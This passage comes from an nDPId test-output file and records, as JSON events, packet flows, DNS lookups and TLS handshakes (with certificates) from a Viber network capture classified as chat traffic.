PuFqBGlI7EjZDn3i6lao9BuWoegggOrMIIDpzCCA6MwggKLoAMCAQICEF+lH8xBSm2RR4lGHU5W04swDQYJKoZIhvcNAQELBQAwQTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEbMBkGA1UEAxMSdGhhd3RlIFNTTCBDQSAtIEcyMB4XDTE4MDMyMTAwMDAwMFoXDTE4MDYxOTIzNTk1OVowLDEqMCgGA1UEAxMhdGhhd3RlIFNTTCBDQSAtIEcyIE9DU1AgUmVzcG9uZGVyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArZMA\/yejKx7eZiXFf4tSxRfO8yrc56yq6UgFxOxS6RXzxO5HkfCU0DT9vyz1\/JX+xy72lbb5N14BhIJbHNKoCidTSZZ6PVj2i6A4pBjQ1qS3vJcpIPuW3sAaA2Y41QPl4QcojC3FIOhpWmDGDZf0odjyDcHPeieLTRh99KkwetQtXqmaUgGnf\/K0kd9bsRZEutRzuT66Gn0XeSHDBhFrA1oW8jHF0Smi2eEufQMOhKHhPPUoNEZfJxPg3+bRrvsUGi9cPoVDBcI2NQ3QYpMu4OBVl+NKlZj05jfE4cu5Csz2wW4\/EdXIVLodtlxTb8iaFp1GtcwKvJ25iriW18S3VwIDAQABo4GrMIGoMA8GCSsGAQUFBzABBQQCBQAwIgYDVR0RBBswGaQXMBUxEzARBgNVBAMTClRHVi1GLTExMTcwHwYDVR0jBBgwFoAUwk9IV\/zRT5rAXTh9DgXb2S61UmAwHQYDVR0OBBYEFEa+Iw4ZP5maMKC4NxcA4+LDp5F8MAwGA1UdEwEB\/wQCMAAwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQByJUL6mFwcpQr8CxmZsKEelg\/FMEUB7AeZHuzqSZeuYK5iA+HwTVLAMPFRslKVi1rZv71rnuMWl8dpv3mJPY\/8lHnxhMAUlLmMLTkP9IBxCXMQJP1epsUmSvmZ86Uaex+xMiKPXqoI585YqifHHTm8QDXDAlzJfgFElfMNbw3r7TmKy3yF53oxRVGh+IyOH9fZdzMhmqRTONVDIb64MWTXF\/X6xSd5PVBNLpzEqyDKXXd3ueW\/sLO6cemVuwuC2LSoReHiw6dHlo+SA8\/sVl5yApWl0+8F1OpB6xbPdSicaEUe\/y+SNyC32l7shvVq1e3h6Qm5HttUdScBRxxRGvpSFgMDAU0="} +01043{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":70,"source":"viber.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":8,"flow_first_seen":1527155641697,"flow_last_seen":1527155641736,"flow_tot_l4_data_len":4800,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":600,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.96","src_port":57520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Viber","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"media.cdn.viber.com","server_names":"*.cdn.viber.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=thawte, Inc., CN=thawte SSL CA - G2","issuerDN":"C=LU, ST=Luxembourg, L=Luxembourg, O=Viber Media Sarl, OU=IT, CN=*.cdn.viber.com","alpn":"h2,http\/1.1","fingerprint":"B6:30:6F:02:75:A8:08:0A:AE:AA:9C:6C:9F:B5:8E:4C:82:02:3D:39"}} +00888{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":736986,"pkt_caplen":408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":408,"pkt_l4_len":374,"pkt":"MAdNo1+nAA6OMNv9CABFAAGKXIlAAPQG0+Q25l1gwKgAEQG74LAWDz23uxq5nYAYAHbvHwAAAQEICn5qcDoAIWN6DAABSQMAF0EE6z0yNbGqTMxF+MnCaSA57q9LYwN+e+lepEhgp62oGOKsCS5eYr4u+IsYLr2pa02Wv2IdtpoaeBaNslvnpGKZ1gYBAQDO8o0fMehLtSsNyCkYui8oRCxTJn0IX8wE1D0eiRfeypo53QSm10hK7t\/pPgqmfFiKfJJT9qj\/2jXndubPingGEnufws7avME3Qf6TfeC3DpgM7mbnB9Fv83\/JqQaLiSLSQk9QwqJbDtyQ\/T72qgCHH5Wku3AvJTg7bkY18oAVC3Z\/wJru8CNk5PtxYawyTRHK+qxLU+EeRL4DcuWVkRGDI9aweBYlGERJyKJ5DTh821u8zq\/0O5tCKY7\/B35xu4bZ588NQt8J4hGjI+ebLfhc\/8J7xyqIJE3YGtwoqTGpqwwajwq2lWmJ2plG6Rdpj0u1Mhxtwln16byAZ91nz2crFgMDAAQOAAAA"} +00422{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":739471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA025RAAEAGCjDAqAARNuZdYOCwAbu7GrmdFg8yZ4AQAsMtGwAAAQEICgAhY39+anA6"} +00423{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":739546,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA025VAAEAGCi\/AqAARNuZdYOCwAbu7GrmdFg84D4AQAtonXAAAAQEICgAhY39+anA6"} +00422{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":739586,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA025ZAAEAGCi7AqAARNuZdYOCwAbu7GrmdFg89t4AQAvEhnQAAAQEICgAhY39+anA6"} +00423{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":740178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA025dAAEAGCi3AqAARNuZdYOCwAbu7GrmdFg8\/DYAQAwcgMAAAAQEICgAhY4B+anA6"} +00596{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":756058,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AA6OMNv9MAdNo1+nCABFAACy25hAAEAGCa7AqAARNuZdYOCwAbu7GrmdFg8\/DYAYAwfMqQAAAQEICgAhY4R+anA6FgMDAEYQAABCQQR8hYex6T6IcfjrQGz2dWBRSQxJBICDIAwL4VUpMgxTmSC9MkB7XZu6WQAGc\/NuWQdIiLiI7lhVN4jtP\/V2hUkiFAMDAAEBFgMDACgAAAAAAAAAAPinAWXbwMl+PxlMD4nzrBWBuwFUoxaHLVoZlLYU1RLV"} +00755{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":772588,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"MAdNo1+nAA6OMNv9CABFAAEmXIpAAPQG1Ec25l1gwKgAEQG74LAWDz8Nuxq6G4AYAHZ6wAAAAQEICn5qcD4AIWOEFgMDALoEAAC2AAAqMACwdl6URFAA6YMRSWiAuGyrMvhx5yRQJDL2xvOldivO2HDCATKXaYBmvXO5Dr1T4CoyfOMHoEzRVzCiIp3wFmrpe3Nvz3wmjg6V92idYHBD\/Ir+mX8KY78ab9v06pKtsYqXpy4JSStOTTDB5sv9zFHKr9ko39Zd\/xxZlTUtGeSrWTqMzSWYSn4WJ85veaGeOFci3F\/u+XPj830Dga\/E8q0wfgVk0haiDxQaPUcrvoDSWrMUAwMAAQEWAwMAKPAGp6nvnGSjNCIJ9wRqtsyn22rlG09D61TtZki59jc8\/Qas\/wW6MEo="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"viber.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1527155641813,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":40445,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":813689,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AA6OMNv9MAdNo1+nCABFAABAH5VAAEARmafAqAARwKgAD539ADUALISKl70BAAABAAAAAAAACGRsLW1lZGlhBXZpYmVyA2NvbQAAAQAB"} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":82,"source":"viber.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1527155641813,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":40445,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Viber","breed":"Acceptable","category":"Chat"},"dns": {"query":"dl-media.viber.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00584{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":840131,"pkt_caplen":185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":185,"pkt_l4_len":151,"pkt":"MAdNo1+nAA6OMNv9CABFAACrXElAAEARXIjAqAAPwKgAEQA1nf0Al5UFl72BgAABAAUAAAAACGRsLW1lZGlhBXZpYmVyA2NvbQAAAQABwAwABQABAAAGHQAfDmQxZmplOWdtM2QwNXQ4CmNsb3VkZnJvbnQDbmV0AMAwAAEAAQAAADsABDbmXTXAMAABAAEAAAA7AAQ25l1swDAAAQABAAAAOwAENuZdn8AwAAEAAQAAADsABDbmXWM="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":83,"source":"viber.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":2,"flow_first_seen":1527155641813,"flow_last_seen":1527155641840,"flow_tot_l4_data_len":195,"flow_min_l4_data_len":44,"flow_max_l4_data_len":151,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":40445,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Viber","breed":"Acceptable","category":"Chat"},"dns": {"query":"dl-media.viber.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.230.93.53"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":84,"source":"viber.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1527155641845,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.53","src_port":53934,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":845544,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8nXxAAEAGSGvAqAARNuZdNdKuAbvV1v7mAAAAAKAC\/\/\/mSAAAAgQFtAQCCAoAIWOaAAAAAAEDAwc="} +00434{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":865014,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAAPQGMec25l01wKgAEQG70q53C5Ep1db+56AScSB9zAAAAgQFtAQCCAp+anCqACFjmgEDAwg="} +00422{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":867207,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0nX1AAEAGSHLAqAARNuZdNdKuAbvV1v7ndwuRKoAQAq0bCAAAAQEICgAhY59+anCq"} +00670{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":868230,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"AA6OMNv9MAdNo1+nCABFAADrnX5AAEAGR7rAqAARNuZdNdKuAbvV1v7ndwuRKoAYAq2cvgAAAQEICgAhY6B+anCqFgMBALIBAACuAwM1qr437x53guPHYx6idTGnRu91RvVMpGhSbboCtiTLxAAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABp\/wEAAQAAAAAXABUAABJkbC1tZWRpYS52aWJlci5jb20AFwAAACMAAAANABAADgQDBAEFAwUBBgMGAQIBAAUABQEAAAAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACAAGAB0AFwAY"} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"viber.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":4,"flow_first_seen":1527155641845,"flow_last_seen":1527155641868,"flow_tot_l4_data_len":327,"flow_min_l4_data_len":32,"flow_max_l4_data_len":215,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.53","src_port":53934,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Viber","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dl-media.viber.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":887306,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA04YZAAPQGUGg25l01wKgAEQG70q53C5Eq1db\/noAQAHYchQAAAQEICn5qcKwAIWOg"} +02376{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":890520,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXc4YdAAPQGSr825l01wKgAEQG70q53C5Eq1db\/noAQAHYWawAAAQEICn5qcK0AIWOgFgMDAFQCAABQAwPXSeroJomquS3Icmb908A5CzBxMU9kJmJipiVdlo2bqADALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwMLBQsACwEACv4ABkIwggY+MIIFJqADAgECAhArCzUGt7zqYcU28iBidjj2MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwx0aGF3dGUsIEluYy4xGzAZBgNVBAMTEnRoYXd0ZSBTU0wgQ0EgLSBHMjAeFw0xNjA2MjYwMDAwMDBaFw0xODA2MjYyMzU5NTlaMHUxCzAJBgNVBAYTAkxVMRMwEQYDVQQIDApMdXhlbWJvdXJnMRMwEQYDVQQHDApMdXhlbWJvdXJnMRkwFwYDVQQKDBBWaWJlciBNZWRpYSBTYXJsMQswCQYDVQQLDAJJVDEUMBIGA1UEAwwLKi52aWJlci5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcgssKhaCshLn7MOI3o\/HwNPg4Umo9z70uRy8p4MYx9OrHSxuubk3cAfBqqnZs++75IJCaOxWfVcpjJKVkKl++ww0iA0ou8OKXrojTBnFQGZM\/MULZ63jjcWbDXTqmDhpuZlU7XUfM0pI511NgBWqAGWFuYNeAZ4AEBT3ji7OoFFZI9zdyUetdjViMzp4xxycQH4\/Xe\/n2tOj\/fADnQxfirKO+5wNgIOGnlTHwm0YKKKB4Ow4KdoBWuohQLAtpnxjQsuPvT\/Pc8vJR\/lFPLRObEIPudktAradTxWZCRinzp6azqWVZqA+YpEeX6g0Od4utrHXK8ROOIaXouSab18MpAgMBAAGjggL8MIIC+DAhBgNVHREEGjAYggsqLnZpYmVyLmNvbYIJdmliZXIuY29tMAkGA1UdEwQCMAAwbgYDVR0gBGcwZTBjBgZngQwBAgIwWTAmBggrBgEFBQcCARYaaHR0cHM6Ly93d3cudGhhd3RlLmNvbS9jcHMwLwYIKwYBBQUHAgIwIwwhaHR0cHM6Ly93d3cudGhhd3RlLmNvbS9yZXBvc2l0b3J5MA4GA1UdDwEB\/wQEAwIFoDAfBgNVHSMEGDAWgBTCT0hX\/NFPmsBdOH0OBdvZLrVSYDArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vdGouc3ltY2IuY29tL3RqLmNybDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vdGouc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vdGouc3ltY2IuY29tL3RqLmNydDCCAYAGCisGAQQB1nkCBAIEggFwBIIBbAFqAHYA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFVjQKNiQAABAMARzBFAiADGhaX4e5694tXWFf9C7aYUyZebOO1ewNFTjBMKAmDawIhAOUb0dawJ7YyWph6djzxjPrv6bfmIbnz7yWOc8naN+LBAHcApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFVjQKNzwAABAMASDBGAiEAoGZTBb3GJAn4wnB3XFXEvRTKBliJa9e40vm8zeaTF20CIQDwLQqXqOD6SvAZcXpalAxgvlWZ8cCvw6AXRn1QAGiu4wB3AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABVY0CjcQAAAQDAEgwRgIhAN3\/bLnx4zseAF6YX\/GXwkZGKzURnh0xPsL\/M5rt5HxOAiEAkjBpAU5gR\/VSAgq03Onvii7MiMIPaGRYRMr3cBp7cvAwDQYJKoZIhvcNAQELBQADggE="} +00783{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":89,"source":"viber.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":6,"flow_first_seen":1527155641845,"flow_last_seen":1527155641890,"flow_tot_l4_data_len":1839,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.230.93.53","src_port":53934,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Viber","breed":"Acceptable","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dl-media.viber.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02381{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":890769,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXc4YhAAPQGSr425l01wKgAEQG70q53C5bS1db\/noAQAHZ73wAAAQEICn5qcK0AIWOgAQAzIMkLGilBwo17+h1vyzUxHYrDOwc9vPDUqUyTBSPVjWgtZJoJQDTCQxUlc78RAlspu0Ne5sF1y6rd+7pz0tYCAqum4XlCNO9Iobk6RQJQ3KtnKzH3ghtXdUucX+7Fp+XemKd1y+RI6E9MeBQqfsXKhwc7T26FN1lgNIOD\/Y\/UIC0Xx0RCnHykMGMLwbXjj7y+RkzdiXOG8iCc93QKzbbFaVQLUkyD2lNFloJMwiyXJ6gu4PgO\/emqSyJHAhsU1vW4JibyyzcpDftgPDpZYd0Y1EqXR+wevAVfDVB4GYvDg9NCgKNIYEvDbNqCGi5HvaBV5yiHxF3i62IjWW8gGqe0AAS2MIIEsjCCA5qgAwIBAgIQFofWiG3iMAaFIz2\/Eb9llzANBgkqhkiG9w0BAQsFADCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjBBMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhhd3RlLCBJbmMuMRswGQYDVQQDExJ0aGF3dGUgU1NMIENBIC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy\/Ab7BJPS6lkgO0SFl1I55xDweuCwlEDaRvgMKLu5zmA4P9LYEUIbka1J7o\/H3mzeN2\/9iyA8bed009zVJIhBgInuNr7E1b6NUxOq5KW4kwq+7NrNPNQyVu\/QTqC4l7s5UB5uZcP9ss7gWalICcb+vq78PjuBIJeLj0bfYGQHdbsbhjifR3s0zqHRl6122J+3Jtt5gDZI8sU3+NkyrnykU4HHmaFUOC9PdaC7WqW7zawCWxkC1RMYp86sdFUSBYubopVGZHI4zVobOhanvnGZjFQDuJZsAdM+Bpg\/IYE7An4AR1MBHg5GQ\/tLLdwLGugvmPh+0ZmrE2ykF95v9hX1AgMBAAGjggE7MIIBNzASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjAyBgNVHR8EKzApMCegJaAjhiFodHRwOi8vdDEuc3ltY2IuY29tL1RoYXd0ZVBDQS5jcmwwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vdDIuc3ltY2IuY29tMEEGA1UdIAQ6MDgwNgYKYIZIAYb4RQEHNjAoMCYGCCsGAQUFBwIBFhpodHRwczovL3d3dy50aGF3dGUuY29tL2NwczApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzcwHQYDVR0OBBYEFMJPSFf80U+awF04fQ4F29kutVJgMB8GA1UdIwQYMBaAFHtbRc+vzst6\/TGSGmq280brV0hQMA0GCSqGSIb3DQEBCwUAA4IBAQCNBt5DyXYCytkjl17zY9d9RMIPawr1B+WLuPrgo\/prgJK1AyzFN+DC5ZW1knAYKEKU7kt3agEPiyPsVk30AGnlhMji6t5bPvY8BzqUymwnscyDGmBxJ9K\/AvUeRNNI1abTdiEAnPqYZOsXNj\/rGzw+prHZWAYOctlovvGnINdS5KR3H3FwnVU1hTfhHU2UwnB\/lUBuS32ytCkqA3nIuUxnYQSgiyf\/WQDrVX\/GtzM1LV5OrLjqEsXo97mrvnSSLLfZTcqELxzC8HJ8sjFuz4DliAc2UXu6Ya9tjSNbNKOVvKIxf\/L157fo78S1JzI="} +02384{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155641,"pkt_ts_usec":890790,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXc4YlAAPQGSr025l01wKgAEQG70q53C5x61db\/noAQAHY7DwAAAQEICn5qcK0AIWOg6feeaccr6L67DKrn6mAS6iaKeBYDAwWOFgAFigEABYYwggWCCgEAoIIFezCCBXcGCSsGAQUFBzABAQSCBWgwggVkMIGeohYEFEa+Iw4ZP5maMKC4NxcA4+LDp5F8GA8yMDE4MDUyMDIzMzI1MlowczBxMEkwCQYFKw4DAhoFAAQUb3ZbhgHP5WMdW1xQZ5ZT9boGB5gEFMJPSFf80U+awF04fQ4F29kutVJgAhArCzUGt7zqYcU28iBidjj2gAAYDzIwMTgwNTIwMjMzMjUyWqARGA8yMDE4MDUyNzIzMzI1MlowDQYJKoZIhvcNAQEFBQADggEBAA5Galj9boy29rCO8yKWMuA8ntj2oLJscfTQs6+\/qwy2IBgCzdVg3BY0Ss+d8h0LLJ1Wu+jHE8mtnG+6aP3ZM5FyNPvXO67EW2JiX\/Gt\/u65\/BtjW9+x1AR7UsmyiBrOzzQ23CRCHor2JDEzSxj7um8tGJYOEdq256AhWs32zq77+4wWODmzpGLJA1V+vZBzyFRfbxSpAPy7oBdAjMYdF70TOaFK4kQ3YptsZHvv\/ntsdQknPHmMThzNzl38Z5X33W+wiF\/adbo06JWV\/JvE19TQE\/yCvvSKCTh1lMr\/d4gz8RLq7OlKkwfhJEQkUFQ\/K8EtgzXisOl6zHG6FxUCaHigggOrMIIDpzCCA6MwggKLoAMCAQICEF+lH8xBSm2RR4lGHU5W04swDQYJKoZIhvcNAQELBQAwQTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEbMBkGA1UEAxMSdGhhd3RlIFNTTCBDQSAtIEcyMB4XDTE4MDMyMTAwMDAwMFoXDTE4MDYxOTIzNTk1OVowLDEqMCgGA1UEAxMhdGhhd3RlIFNTTCBDQSAtIEcyIE9DU1AgUmVzcG9uZGVyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArZMA\/yejKx7eZiXFf4tSxRfO8yrc56yq6UgFxOxS6RXzxO5HkfCU0DT9vyz1\/JX+xy72lbb5N14BhIJbHNKoCidTSZZ6PVj2i6A4pBjQ1qS3vJcpIPuW3sAaA2Y41QPl4QcojC3FIOhpWmDGDZf0odjyDcHPeieLTRh99KkwetQtXqmaUgGnf\/K0kd9bsRZEutRzuT66Gn0XeSHDBhFrA1oW8jHF0Smi2eEufQMOhKHhPPUoN